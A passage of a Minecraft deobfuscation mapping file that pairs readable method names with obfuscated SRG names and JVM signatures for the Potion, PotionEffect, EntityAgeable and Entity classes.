(Lnet/minecraft/entity/Entity;Lnet/minecraft/entity/Entity;Lnet/minecraft/entity/EntityLivingBase;ID)V net/minecraft/potion/Potion/func_180793_a (Lnet/minecraft/entity/Entity;Lnet/minecraft/entity/Entity;Lnet/minecraft/entity/EntityLivingBase;ID)V +MD: net/minecraft/potion/Potion/performEffect (Lnet/minecraft/entity/EntityLivingBase;I)V net/minecraft/potion/Potion/func_76394_a (Lnet/minecraft/entity/EntityLivingBase;I)V +MD: net/minecraft/potion/Potion/removeAttributesModifiersFromEntity (Lnet/minecraft/entity/EntityLivingBase;Lnet/minecraft/entity/ai/attributes/BaseAttributeMap;I)V net/minecraft/potion/Potion/func_111187_a (Lnet/minecraft/entity/EntityLivingBase;Lnet/minecraft/entity/ai/attributes/BaseAttributeMap;I)V +MD: net/minecraft/potion/Potion/registerPotionAttributeModifier (Lnet/minecraft/entity/ai/attributes/IAttribute;Ljava/lang/String;DI)Lnet/minecraft/potion/Potion; net/minecraft/potion/Potion/func_111184_a (Lnet/minecraft/entity/ai/attributes/IAttribute;Ljava/lang/String;DI)Lnet/minecraft/potion/Potion; +MD: net/minecraft/potion/Potion/isInstant ()Z net/minecraft/potion/Potion/func_76403_b ()Z +MD: net/minecraft/potion/Potion/setIconIndex (II)Lnet/minecraft/potion/Potion; net/minecraft/potion/Potion/func_76399_b (II)Lnet/minecraft/potion/Potion; +MD: net/minecraft/potion/Potion/getPotionFromResourceLocation (Ljava/lang/String;)Lnet/minecraft/potion/Potion; net/minecraft/potion/Potion/func_180142_b (Ljava/lang/String;)Lnet/minecraft/potion/Potion; +MD: net/minecraft/potion/Potion/applyAttributesModifiersToEntity (Lnet/minecraft/entity/EntityLivingBase;Lnet/minecraft/entity/ai/attributes/BaseAttributeMap;I)V net/minecraft/potion/Potion/func_111185_a (Lnet/minecraft/entity/EntityLivingBase;Lnet/minecraft/entity/ai/attributes/BaseAttributeMap;I)V +MD: net/minecraft/potion/Potion/getPotionLocations ()Ljava/util/Set; net/minecraft/potion/Potion/func_181168_c ()Ljava/util/Set; +MD: net/minecraft/potion/Potion/setPotionName (Ljava/lang/String;)Lnet/minecraft/potion/Potion; net/minecraft/potion/Potion/func_76390_b (Ljava/lang/String;)Lnet/minecraft/potion/Potion; +MD: net/minecraft/potion/Potion/getId ()I net/minecraft/potion/Potion/func_76396_c ()I +MD: net/minecraft/potion/Potion/hasStatusIcon ()Z net/minecraft/potion/Potion/func_76400_d ()Z +MD: net/minecraft/potion/Potion/getStatusIconIndex ()I net/minecraft/potion/Potion/func_76392_e ()I +MD: net/minecraft/potion/Potion/isBadEffect ()Z net/minecraft/potion/Potion/func_76398_f ()Z +MD: net/minecraft/potion/Potion/getEffectiveness ()D net/minecraft/potion/Potion/func_76388_g ()D +MD: net/minecraft/potion/Potion/isUsable ()Z net/minecraft/potion/Potion/func_76395_i ()Z +MD: net/minecraft/potion/Potion/getLiquidColor ()I net/minecraft/potion/Potion/func_76401_j ()I +MD: net/minecraft/potion/Potion/getAttributeModifierMap ()Ljava/util/Map; net/minecraft/potion/Potion/func_111186_k ()Ljava/util/Map; +MD: net/minecraft/potion/PotionEffect/getPotionID ()I net/minecraft/potion/PotionEffect/func_76456_a ()I +MD: net/minecraft/potion/PotionEffect/writeCustomPotionEffectToNBT (Lnet/minecraft/nbt/NBTTagCompound;)Lnet/minecraft/nbt/NBTTagCompound; net/minecraft/potion/PotionEffect/func_82719_a (Lnet/minecraft/nbt/NBTTagCompound;)Lnet/minecraft/nbt/NBTTagCompound; +MD: net/minecraft/potion/PotionEffect/combine (Lnet/minecraft/potion/PotionEffect;)V net/minecraft/potion/PotionEffect/func_76452_a (Lnet/minecraft/potion/PotionEffect;)V +MD: net/minecraft/potion/PotionEffect/onUpdate (Lnet/minecraft/entity/EntityLivingBase;)Z net/minecraft/potion/PotionEffect/func_76455_a (Lnet/minecraft/entity/EntityLivingBase;)Z +MD: net/minecraft/potion/PotionEffect/setSplashPotion (Z)V net/minecraft/potion/PotionEffect/func_82721_a (Z)V +MD: net/minecraft/potion/PotionEffect/getDuration ()I net/minecraft/potion/PotionEffect/func_76459_b ()I +MD: net/minecraft/potion/PotionEffect/readCustomPotionEffectFromNBT (Lnet/minecraft/nbt/NBTTagCompound;)Lnet/minecraft/potion/PotionEffect; net/minecraft/potion/PotionEffect/func_82722_b (Lnet/minecraft/nbt/NBTTagCompound;)Lnet/minecraft/potion/PotionEffect; +MD: net/minecraft/potion/PotionEffect/performEffect (Lnet/minecraft/entity/EntityLivingBase;)V net/minecraft/potion/PotionEffect/func_76457_b (Lnet/minecraft/entity/EntityLivingBase;)V +MD: net/minecraft/potion/PotionEffect/setPotionDurationMax (Z)V net/minecraft/potion/PotionEffect/func_100012_b (Z)V +MD: net/minecraft/potion/PotionEffect/getAmplifier ()I net/minecraft/potion/PotionEffect/func_76458_c ()I +MD: net/minecraft/potion/PotionEffect/getIsAmbient ()Z net/minecraft/potion/PotionEffect/func_82720_e ()Z +MD: net/minecraft/potion/PotionEffect/equals (Ljava/lang/Object;)Z net/minecraft/potion/PotionEffect/equals (Ljava/lang/Object;)Z +MD: net/minecraft/potion/PotionEffect/getIsShowParticles ()Z net/minecraft/potion/PotionEffect/func_180154_f ()Z +MD: net/minecraft/potion/PotionEffect/getEffectName ()Ljava/lang/String; net/minecraft/potion/PotionEffect/func_76453_d ()Ljava/lang/String; +MD: net/minecraft/potion/PotionEffect/getIsPotionDurationMax ()Z net/minecraft/potion/PotionEffect/func_100011_g ()Z +MD: net/minecraft/potion/PotionEffect/hashCode ()I net/minecraft/potion/PotionEffect/hashCode ()I +MD: net/minecraft/potion/PotionEffect/deincrementDuration ()I net/minecraft/potion/PotionEffect/func_76454_e ()I +MD: net/minecraft/potion/PotionEffect/toString ()Ljava/lang/String; net/minecraft/potion/PotionEffect/toString ()Ljava/lang/String; +MD: net/minecraft/entity/EntityAgeable/setScale (F)V net/minecraft/entity/EntityAgeable/func_98055_j (F)V +MD: net/minecraft/entity/EntityAgeable/setSize (FF)V net/minecraft/entity/EntityAgeable/func_70105_a (FF)V +MD: net/minecraft/entity/EntityAgeable/addGrowth (I)V net/minecraft/entity/EntityAgeable/func_110195_a (I)V +MD: net/minecraft/entity/EntityAgeable/func_175501_a (IZ)V net/minecraft/entity/EntityAgeable/func_175501_a (IZ)V +MD: net/minecraft/entity/EntityAgeable/readEntityFromNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/entity/EntityAgeable/func_70037_a (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/entity/EntityAgeable/createChild (Lnet/minecraft/entity/EntityAgeable;)Lnet/minecraft/entity/EntityAgeable; net/minecraft/entity/EntityAgeable/func_90011_a (Lnet/minecraft/entity/EntityAgeable;)Lnet/minecraft/entity/EntityAgeable; +MD: net/minecraft/entity/EntityAgeable/interact (Lnet/minecraft/entity/player/EntityPlayer;)Z net/minecraft/entity/EntityAgeable/func_70085_c (Lnet/minecraft/entity/player/EntityPlayer;)Z +MD: net/minecraft/entity/EntityAgeable/setScaleForAge (Z)V net/minecraft/entity/EntityAgeable/func_98054_a (Z)V +MD: net/minecraft/entity/EntityAgeable/setGrowingAge (I)V net/minecraft/entity/EntityAgeable/func_70873_a (I)V +MD: net/minecraft/entity/EntityAgeable/writeEntityToNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/entity/EntityAgeable/func_70014_b (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/entity/EntityAgeable/entityInit ()V net/minecraft/entity/EntityAgeable/func_70088_a ()V +MD: net/minecraft/entity/EntityAgeable/isChild ()Z net/minecraft/entity/EntityAgeable/func_70631_g_ ()Z +MD: net/minecraft/entity/EntityAgeable/getGrowingAge ()I net/minecraft/entity/EntityAgeable/func_70874_b ()I +MD: net/minecraft/entity/EntityAgeable/onLivingUpdate ()V net/minecraft/entity/EntityAgeable/func_70636_d ()V +MD: net/minecraft/entity/EntityAgeable/onGrowingAdult ()V net/minecraft/entity/EntityAgeable/func_175500_n ()V +MD: net/minecraft/entity/Entity$1/call ()Ljava/lang/String; net/minecraft/entity/Entity$1/call ()Ljava/lang/String; +MD: net/minecraft/entity/Entity$1/call ()Ljava/lang/Object; net/minecraft/entity/Entity$1/call ()Ljava/lang/Object; +MD: net/minecraft/entity/Entity$2/call ()Ljava/lang/String; net/minecraft/entity/Entity$2/call ()Ljava/lang/String; +MD: net/minecraft/entity/Entity$2/call ()Ljava/lang/Object; net/minecraft/entity/Entity$2/call ()Ljava/lang/Object; +MD: net/minecraft/entity/Entity$3/call ()Ljava/lang/String; net/minecraft/entity/Entity$3/call ()Ljava/lang/String; +MD: net/minecraft/entity/Entity$3/call ()Ljava/lang/Object; net/minecraft/entity/Entity$3/call ()Ljava/lang/Object; +MD: net/minecraft/entity/Entity$4/call ()Ljava/lang/String; net/minecraft/entity/Entity$4/call ()Ljava/lang/String; +MD: net/minecraft/entity/Entity$4/call ()Ljava/lang/Object; net/minecraft/entity/Entity$4/call ()Ljava/lang/Object; +MD: net/minecraft/entity/Entity/getEntityId ()I net/minecraft/entity/Entity/func_145782_y ()I +MD: net/minecraft/entity/Entity/onKillCommand ()V net/minecraft/entity/Entity/func_174812_G ()V +MD: net/minecraft/entity/Entity/getDataWatcher ()Lnet/minecraft/entity/DataWatcher; net/minecraft/entity/Entity/func_70096_w ()Lnet/minecraft/entity/DataWatcher; +MD: net/minecraft/entity/Entity/preparePlayerToSpawn ()V net/minecraft/entity/Entity/func_70065_x ()V +MD: net/minecraft/entity/Entity/setDead ()V net/minecraft/entity/Entity/func_70106_y ()V +MD: net/minecraft/entity/Entity/onEntityUpdate ()V net/minecraft/entity/Entity/func_70030_z ()V +MD: net/minecraft/entity/Entity/getMaxInPortalTime ()I net/minecraft/entity/Entity/func_82145_z ()I +MD: net/minecraft/entity/Entity/setOnFireFromLava ()V net/minecraft/entity/Entity/func_70044_A ()V +MD: net/minecraft/entity/Entity/extinguish ()V net/minecraft/entity/Entity/func_70066_B ()V +MD: net/minecraft/entity/Entity/kill ()V net/minecraft/entity/Entity/func_70076_C ()V +MD: net/minecraft/entity/Entity/getSwimSound ()Ljava/lang/String; net/minecraft/entity/Entity/func_145776_H ()Ljava/lang/String; +MD: net/minecraft/entity/Entity/doBlockCollisions ()V net/minecraft/entity/Entity/func_145775_I ()V +MD: net/minecraft/entity/Entity/isSilent ()Z net/minecraft/entity/Entity/func_174814_R ()Z +MD: net/minecraft/entity/Entity/getCollisionBoundingBox ()Lnet/minecraft/util/AxisAlignedBB; net/minecraft/entity/Entity/func_70046_E ()Lnet/minecraft/util/AxisAlignedBB; +MD: net/minecraft/entity/Entity/isImmuneToFire ()Z net/minecraft/entity/Entity/func_70045_F ()Z +MD: net/minecraft/entity/Entity/isWet ()Z net/minecraft/entity/Entity/func_70026_G ()Z +MD: net/minecraft/entity/Entity/isInWater ()Z net/minecraft/entity/Entity/func_70090_H ()Z +MD: net/minecraft/entity/Entity/handleWaterMovement ()Z net/minecraft/entity/Entity/func_70072_I ()Z +MD: net/minecraft/entity/Entity/resetHeight ()V net/minecraft/entity/Entity/func_71061_d_ ()V +MD: net/minecraft/entity/Entity/spawnRunningParticles ()V net/minecraft/entity/Entity/func_174830_Y ()V +MD: net/minecraft/entity/Entity/createRunningParticles ()V net/minecraft/entity/Entity/func_174808_Z ()V +MD: net/minecraft/entity/Entity/handleStatusUpdate (B)V net/minecraft/entity/Entity/func_70103_a (B)V +MD: net/minecraft/entity/Entity/isInRangeToRenderDist (D)Z net/minecraft/entity/Entity/func_70112_a (D)Z +MD: net/minecraft/entity/Entity/setPositionAndUpdate (DDD)V net/minecraft/entity/Entity/func_70634_a (DDD)V +MD: net/minecraft/entity/Entity/setPositionAndRotation (DDDFF)V net/minecraft/entity/Entity/func_70080_a (DDDFF)V +MD: net/minecraft/entity/Entity/setPositionAndRotation2 (DDDFFIZ)V net/minecraft/entity/Entity/func_180426_a (DDDFFIZ)V +MD: net/minecraft/entity/Entity/rayTrace (DF)Lnet/minecraft/util/MovingObjectPosition; net/minecraft/entity/Entity/func_174822_a (DF)Lnet/minecraft/util/MovingObjectPosition; +MD: net/minecraft/entity/Entity/updateFallState (DZLnet/minecraft/block/Block;Lnet/minecraft/util/BlockPos;)V net/minecraft/entity/Entity/func_180433_a (DZLnet/minecraft/block/Block;Lnet/minecraft/util/BlockPos;)V +MD: net/minecraft/entity/Entity/setSize (FF)V net/minecraft/entity/Entity/func_70105_a (FF)V +MD: net/minecraft/entity/Entity/moveFlying (FFF)V net/minecraft/entity/Entity/func_70060_a (FFF)V +MD: net/minecraft/entity/Entity/canCommandSenderUseCommand (ILjava/lang/String;)Z net/minecraft/entity/Entity/func_70003_b (ILjava/lang/String;)Z +MD: net/minecraft/entity/Entity/getExplosionResistance (Lnet/minecraft/world/Explosion;Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)F net/minecraft/entity/Entity/func_180428_a (Lnet/minecraft/world/Explosion;Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)F +MD: net/minecraft/entity/Entity/verifyExplosion (Lnet/minecraft/world/Explosion;Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;F)Z net/minecraft/entity/Entity/func_174816_a (Lnet/minecraft/world/Explosion;Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;F)Z +MD: net/minecraft/entity/Entity/setWorld (Lnet/minecraft/world/World;)V net/minecraft/entity/Entity/func_70029_a (Lnet/minecraft/world/World;)V +MD: net/minecraft/entity/Entity/isInsideOfMaterial (Lnet/minecraft/block/material/Material;)Z net/minecraft/entity/Entity/func_70055_a (Lnet/minecraft/block/material/Material;)Z +MD: net/minecraft/entity/Entity/setEntityBoundingBox (Lnet/minecraft/util/AxisAlignedBB;)V net/minecraft/entity/Entity/func_174826_a (Lnet/minecraft/util/AxisAlignedBB;)V +MD: net/minecraft/entity/Entity/addEntityCrashInfo (Lnet/minecraft/crash/CrashReportCategory;)V net/minecraft/entity/Entity/func_85029_a (Lnet/minecraft/crash/CrashReportCategory;)V +MD: net/minecraft/entity/Entity/moveToBlockPosAndAngles (Lnet/minecraft/util/BlockPos;FF)V net/minecraft/entity/Entity/func_174828_a (Lnet/minecraft/util/BlockPos;FF)V +MD: net/minecraft/entity/Entity/playStepSound (Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/Block;)V net/minecraft/entity/Entity/func_180429_a (Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/Block;)V +MD: net/minecraft/entity/Entity/readEntityFromNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/entity/Entity/func_70037_a (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/entity/Entity/addChatMessage (Lnet/minecraft/util/IChatComponent;)V net/minecraft/entity/Entity/func_145747_a (Lnet/minecraft/util/IChatComponent;)V +MD: net/minecraft/entity/Entity/setCustomNameTag (Ljava/lang/String;)V net/minecraft/entity/Entity/func_96094_a (Ljava/lang/String;)V +MD: net/minecraft/entity/Entity/playSound (Ljava/lang/String;FF)V net/minecraft/entity/Entity/func_85030_a (Ljava/lang/String;FF)V +MD: net/minecraft/entity/Entity/isSpectatedByPlayer (Lnet/minecraft/entity/player/EntityPlayerMP;)Z net/minecraft/entity/Entity/func_174827_a (Lnet/minecraft/entity/player/EntityPlayerMP;)Z +MD: net/minecraft/entity/Entity/setCommandStat (Lnet/minecraft/command/CommandResultStats$Type;I)V net/minecraft/entity/Entity/func_174794_a (Lnet/minecraft/command/CommandResultStats$Type;I)V +MD: net/minecraft/entity/Entity/attackEntityFrom (Lnet/minecraft/util/DamageSource;F)Z net/minecraft/entity/Entity/func_70097_a (Lnet/minecraft/util/DamageSource;F)Z +MD: net/minecraft/entity/Entity/mountEntity (Lnet/minecraft/entity/Entity;)V net/minecraft/entity/Entity/func_70078_a (Lnet/minecraft/entity/Entity;)V +MD: net/minecraft/entity/Entity/onKillEntity (Lnet/minecraft/entity/EntityLivingBase;)V net/minecraft/entity/Entity/func_70074_a (Lnet/minecraft/entity/EntityLivingBase;)V +MD: net/minecraft/entity/Entity/applyEnchantments (Lnet/minecraft/entity/EntityLivingBase;Lnet/minecraft/entity/Entity;)V net/minecraft/entity/Entity/func_174815_a (Lnet/minecraft/entity/EntityLivingBase;Lnet/minecraft/entity/Entity;)V +MD: net/minecraft/entity/Entity/onStruckByLightning (Lnet/minecraft/entity/effect/EntityLightningBolt;)V net/minecraft/entity/Entity/func_70077_a (Lnet/minecraft/entity/effect/EntityLightningBolt;)V +MD: net/minecraft/entity/Entity/interactAt (Lnet/minecraft/entity/player/EntityPlayer;Lnet/minecraft/util/Vec3;)Z net/minecraft/entity/Entity/func_174825_a (Lnet/minecraft/entity/player/EntityPlayer;Lnet/minecraft/util/Vec3;)Z +MD: net/minecraft/entity/Entity/dropItem (Lnet/minecraft/item/Item;I)Lnet/minecraft/entity/item/EntityItem; net/minecraft/entity/Entity/func_145779_a (Lnet/minecraft/item/Item;I)Lnet/minecraft/entity/item/EntityItem; +MD: net/minecraft/entity/Entity/dropItemWithOffset (Lnet/minecraft/item/Item;IF)Lnet/minecraft/entity/item/EntityItem; net/minecraft/entity/Entity/func_145778_a (Lnet/minecraft/item/Item;IF)Lnet/minecraft/entity/item/EntityItem; +MD: net/minecraft/entity/Entity/entityDropItem (Lnet/minecraft/item/ItemStack;F)Lnet/minecraft/entity/item/EntityItem; net/minecraft/entity/Entity/func_70099_a (Lnet/minecraft/item/ItemStack;F)Lnet/minecraft/entity/item/EntityItem; +MD: net/minecraft/entity/Entity/newDoubleNBTList ([D)Lnet/minecraft/nbt/NBTTagList; net/minecraft/entity/Entity/func_70087_a ([D)Lnet/minecraft/nbt/NBTTagList; +MD: net/minecraft/entity/Entity/newFloatNBTList ([F)Lnet/minecraft/nbt/NBTTagList; net/minecraft/entity/Entity/func_70049_a ([F)Lnet/minecraft/nbt/NBTTagList; +MD: net/minecraft/entity/Entity/setInWeb ()V net/minecraft/entity/Entity/func_70110_aj ()V +MD: net/minecraft/entity/Entity/getParts ()[Lnet/minecraft/entity/Entity; net/minecraft/entity/Entity/func_70021_al ()[Lnet/minecraft/entity/Entity; +MD: net/minecraft/entity/Entity/getRotationYawHead ()F net/minecraft/entity/Entity/func_70079_am ()F +MD: net/minecraft/entity/Entity/canAttackWithItem ()Z net/minecraft/entity/Entity/func_70075_an ()Z +MD: net/minecraft/entity/Entity/getMaxFallHeight ()I net/minecraft/entity/Entity/func_82143_as ()I +MD: net/minecraft/entity/Entity/func_181014_aG ()Lnet/minecraft/util/Vec3; net/minecraft/entity/Entity/func_181014_aG ()Lnet/minecraft/util/Vec3; +MD: net/minecraft/entity/Entity/getTeleportDirection ()Lnet/minecraft/util/EnumFacing; net/minecraft/entity/Entity/func_181012_aH ()Lnet/minecraft/util/EnumFacing; +MD: net/minecraft/entity/Entity/doesEntityNotTriggerPressurePlate ()Z net/minecraft/entity/Entity/func_145773_az ()Z +MD: net/minecraft/entity/Entity/canRenderOnFire ()Z net/minecraft/entity/Entity/func_90999_ad ()Z +MD: net/minecraft/entity/Entity/getUniqueID ()Ljava/util/UUID; net/minecraft/entity/Entity/func_110124_au ()Ljava/util/UUID; +MD: net/minecraft/entity/Entity/isPushedByWater ()Z net/minecraft/entity/Entity/func_96092_aw ()Z +MD: net/minecraft/entity/Entity/getCustomNameTag ()Ljava/lang/String; net/minecraft/entity/Entity/func_95999_t ()Ljava/lang/String; +MD: net/minecraft/entity/Entity/getAlwaysRenderNameTag ()Z net/minecraft/entity/Entity/func_174833_aM ()Z +MD: net/minecraft/entity/Entity/getAlwaysRenderNameTagForRender ()Z net/minecraft/entity/Entity/func_94059_bO ()Z +MD: net/minecraft/entity/Entity/getHorizontalFacing ()Lnet/minecraft/util/EnumFacing; net/minecraft/entity/Entity/func_174811_aO ()Lnet/minecraft/util/EnumFacing; +MD: net/minecraft/entity/Entity/getHoverEvent ()Lnet/minecraft/event/HoverEvent; net/minecraft/entity/Entity/func_174823_aP ()Lnet/minecraft/event/HoverEvent; +MD: net/minecraft/entity/Entity/getEntityBoundingBox ()Lnet/minecraft/util/AxisAlignedBB; net/minecraft/entity/Entity/func_174813_aQ ()Lnet/minecraft/util/AxisAlignedBB; +MD: net/minecraft/entity/Entity/getEyeHeight ()F net/minecraft/entity/Entity/func_70047_e ()F +MD: net/minecraft/entity/Entity/isOutsideBorder ()Z net/minecraft/entity/Entity/func_174832_aS ()Z +MD: net/minecraft/entity/Entity/getCommandStats ()Lnet/minecraft/command/CommandResultStats; net/minecraft/entity/Entity/func_174807_aT ()Lnet/minecraft/command/CommandResultStats; +MD: net/minecraft/entity/Entity/getNBTTagCompound ()Lnet/minecraft/nbt/NBTTagCompound; net/minecraft/entity/Entity/func_174819_aU ()Lnet/minecraft/nbt/NBTTagCompound; +MD: net/minecraft/entity/Entity/isImmuneToExplosions ()Z net/minecraft/entity/Entity/func_180427_aV ()Z +MD: net/minecraft/entity/Entity/getSplashSound ()Ljava/lang/String; net/minecraft/entity/Entity/func_145777_O ()Ljava/lang/String; +MD: net/minecraft/entity/Entity/isInLava ()Z net/minecraft/entity/Entity/func_180799_ab ()Z +MD: net/minecraft/entity/Entity/setBeenAttacked ()V net/minecraft/entity/Entity/func_70018_K ()V +MD: net/minecraft/entity/Entity/canBeCollidedWith ()Z net/minecraft/entity/Entity/func_70067_L ()Z +MD: net/minecraft/entity/Entity/canBePushed ()Z net/minecraft/entity/Entity/func_70104_M ()Z +MD: net/minecraft/entity/Entity/shouldSetPosAfterLoading ()Z net/minecraft/entity/Entity/func_142008_O ()Z +MD: net/minecraft/entity/Entity/getEntityString ()Ljava/lang/String; net/minecraft/entity/Entity/func_70022_Q ()Ljava/lang/String; +MD: net/minecraft/entity/Entity/onChunkLoad ()V net/minecraft/entity/Entity/func_110123_P ()V +MD: net/minecraft/entity/Entity/isEntityAlive ()Z net/minecraft/entity/Entity/func_70089_S ()Z +MD: net/minecraft/entity/Entity/isEntityInsideOpaqueBlock ()Z net/minecraft/entity/Entity/func_70094_T ()Z +MD: net/minecraft/entity/Entity/updateRidden ()V net/minecraft/entity/Entity/func_70098_U ()V +MD: net/minecraft/entity/Entity/updateRiderPosition ()V net/minecraft/entity/Entity/func_70043_V ()V +MD: net/minecraft/entity/Entity/getYOffset ()D net/minecraft/entity/Entity/func_70033_W ()D +MD: net/minecraft/entity/Entity/getMountedYOffset ()D net/minecraft/entity/Entity/func_70042_X ()D +MD: net/minecraft/entity/Entity/getCollisionBorderSize ()F net/minecraft/entity/Entity/func_70111_Y ()F +MD: net/minecraft/entity/Entity/getLookVec ()Lnet/minecraft/util/Vec3; net/minecraft/entity/Entity/func_70040_Z ()Lnet/minecraft/util/Vec3; +MD: net/minecraft/entity/Entity/getPortalCooldown ()I net/minecraft/entity/Entity/func_82147_ab ()I +MD: net/minecraft/entity/Entity/performHurtAnimation ()V net/minecraft/entity/Entity/func_70057_ab ()V +MD: net/minecraft/entity/Entity/getInventory ()[Lnet/minecraft/item/ItemStack; net/minecraft/entity/Entity/func_70035_c ()[Lnet/minecraft/item/ItemStack; +MD: net/minecraft/entity/Entity/isBurning ()Z net/minecraft/entity/Entity/func_70027_ad ()Z +MD: net/minecraft/entity/Entity/isRiding ()Z net/minecraft/entity/Entity/func_70115_ae ()Z +MD: net/minecraft/entity/Entity/isSneaking ()Z net/minecraft/entity/Entity/func_70093_af ()Z +MD: net/minecraft/entity/Entity/isSprinting ()Z net/minecraft/entity/Entity/func_70051_ag ()Z +MD: net/minecraft/entity/Entity/isInvisible ()Z net/minecraft/entity/Entity/func_82150_aj ()Z +MD: net/minecraft/entity/Entity/isEating ()Z net/minecraft/entity/Entity/func_70113_ah ()Z +MD: net/minecraft/entity/Entity/getAir ()I net/minecraft/entity/Entity/func_70086_ai ()I +MD: net/minecraft/entity/Entity/setPosition (DDD)V net/minecraft/entity/Entity/func_70107_b (DDD)V +MD: net/minecraft/entity/Entity/setLocationAndAngles (DDDFF)V net/minecraft/entity/Entity/func_70012_b (DDDFF)V +MD: net/minecraft/entity/Entity/getBrightnessForRender (F)I net/minecraft/entity/Entity/func_70070_b (F)I +MD: net/minecraft/entity/Entity/setRotation (FF)V net/minecraft/entity/Entity/func_70101_b (FF)V +MD: net/minecraft/entity/Entity/setFlag (IZ)V net/minecraft/entity/Entity/func_70052_a (IZ)V +MD: net/minecraft/entity/Entity/isLiquidPresentInAABB (Lnet/minecraft/util/AxisAlignedBB;)Z net/minecraft/entity/Entity/func_174809_b (Lnet/minecraft/util/AxisAlignedBB;)Z +MD: net/minecraft/entity/Entity/getDistanceSq (Lnet/minecraft/util/BlockPos;)D net/minecraft/entity/Entity/func_174818_b (Lnet/minecraft/util/BlockPos;)D +MD: net/minecraft/entity/Entity/writeEntityToNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/entity/Entity/func_70014_b (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/entity/Entity/isEntityInvulnerable (Lnet/minecraft/util/DamageSource;)Z net/minecraft/entity/Entity/func_180431_b (Lnet/minecraft/util/DamageSource;)Z +MD: net/minecraft/entity/Entity/addToPlayerScore (Lnet/minecraft/entity/Entity;I)V net/minecraft/entity/Entity/func_70084_c (Lnet/minecraft/entity/Entity;I)V +MD: net/minecraft/entity/Entity/setSilent (Z)V net/minecraft/entity/Entity/func_174810_b (Z)V +MD: net/minecraft/entity/Entity/getPosition ()Lnet/minecraft/util/BlockPos; net/minecraft/entity/Entity/func_180425_c ()Lnet/minecraft/util/BlockPos; +MD: net/minecraft/entity/Entity/isOffsetPositionInLiquid (DDD)Z net/minecraft/entity/Entity/func_70038_c (DDD)Z +MD: net/minecraft/entity/Entity/getBrightness (F)F net/minecraft/entity/Entity/func_70013_c (F)F +MD: net/minecraft/entity/Entity/setAngles (FF)V net/minecraft/entity/Entity/func_70082_c (FF)V +MD: net/minecraft/entity/Entity/travelToDimension (I)V net/minecraft/entity/Entity/func_71027_c (I)V +MD: net/minecraft/entity/Entity/setCurrentItemOrArmor (ILnet/minecraft/item/ItemStack;)V net/minecraft/entity/Entity/func_70062_b (ILnet/minecraft/item/ItemStack;)V +MD: net/minecraft/entity/Entity/getDistanceSqToCenter (Lnet/minecraft/util/BlockPos;)D net/minecraft/entity/Entity/func_174831_c (Lnet/minecraft/util/BlockPos;)D +MD: net/minecraft/entity/Entity/writeMountToNBT (Lnet/minecraft/nbt/NBTTagCompound;)Z net/minecraft/entity/Entity/func_98035_c (Lnet/minecraft/nbt/NBTTagCompound;)Z +MD: net/minecraft/entity/Entity/setSneaking (Z)V net/minecraft/entity/Entity/func_70095_a (Z)V +MD: net/minecraft/entity/Entity/getPositionVector ()Lnet/minecraft/util/Vec3; net/minecraft/entity/Entity/func_174791_d ()Lnet/minecraft/util/Vec3; +MD: net/minecraft/entity/Entity/moveEntity (DDD)V net/minecraft/entity/Entity/func_70091_d (DDD)V +MD: net/minecraft/entity/Entity/getLook (F)Lnet/minecraft/util/Vec3; net/minecraft/entity/Entity/func_70676_i (F)Lnet/minecraft/util/Vec3; +MD: net/minecraft/entity/Entity/setEntityId (I)V net/minecraft/entity/Entity/func_145769_d (I)V +MD: net/minecraft/entity/Entity/replaceItemInInventory (ILnet/minecraft/item/ItemStack;)Z net/minecraft/entity/Entity/func_174820_d (ILnet/minecraft/item/ItemStack;)Z +MD: net/minecraft/entity/Entity/setPortal (Lnet/minecraft/util/BlockPos;)V net/minecraft/entity/Entity/func_181015_d (Lnet/minecraft/util/BlockPos;)V +MD: net/minecraft/entity/Entity/writeToNBTOptional (Lnet/minecraft/nbt/NBTTagCompound;)Z net/minecraft/entity/Entity/func_70039_c (Lnet/minecraft/nbt/NBTTagCompound;)Z +MD: net/minecraft/entity/Entity/onCollideWithPlayer (Lnet/minecraft/entity/player/EntityPlayer;)V net/minecraft/entity/Entity/func_70100_b_ (Lnet/minecraft/entity/player/EntityPlayer;)V +MD: net/minecraft/entity/Entity/setSprinting (Z)V net/minecraft/entity/Entity/func_70031_b (Z)V +MD: net/minecraft/entity/Entity/getEntityWorld ()Lnet/minecraft/world/World; net/minecraft/entity/Entity/func_130014_f_ ()Lnet/minecraft/world/World; +MD: net/minecraft/entity/Entity/getDistanceSq (DDD)D net/minecraft/entity/Entity/func_70092_e (DDD)D +MD: net/minecraft/entity/Entity/getPositionEyes (F)Lnet/minecraft/util/Vec3; net/minecraft/entity/Entity/func_174824_e (F)Lnet/minecraft/util/Vec3; +MD: net/minecraft/entity/Entity/fall (FF)V net/minecraft/entity/Entity/func_180430_e (FF)V +MD: net/minecraft/entity/Entity/setFire (I)V net/minecraft/entity/Entity/func_70015_d (I)V +MD: net/minecraft/entity/Entity/writeToNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/entity/Entity/func_70109_d (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/entity/Entity/interactFirst (Lnet/minecraft/entity/player/EntityPlayer;)Z net/minecraft/entity/Entity/func_130002_c (Lnet/minecraft/entity/player/EntityPlayer;)Z +MD: net/minecraft/entity/Entity/setInvisible (Z)V net/minecraft/entity/Entity/func_82142_c (Z)V +MD: net/minecraft/entity/Entity/getName ()Ljava/lang/String; net/minecraft/entity/Entity/func_70005_c_ ()Ljava/lang/String; +MD: net/minecraft/entity/Entity/equals (Ljava/lang/Object;)Z net/minecraft/entity/Entity/equals (Ljava/lang/Object;)Z +MD: net/minecraft/entity/Entity/getCommandSenderEntity ()Lnet/minecraft/entity/Entity; 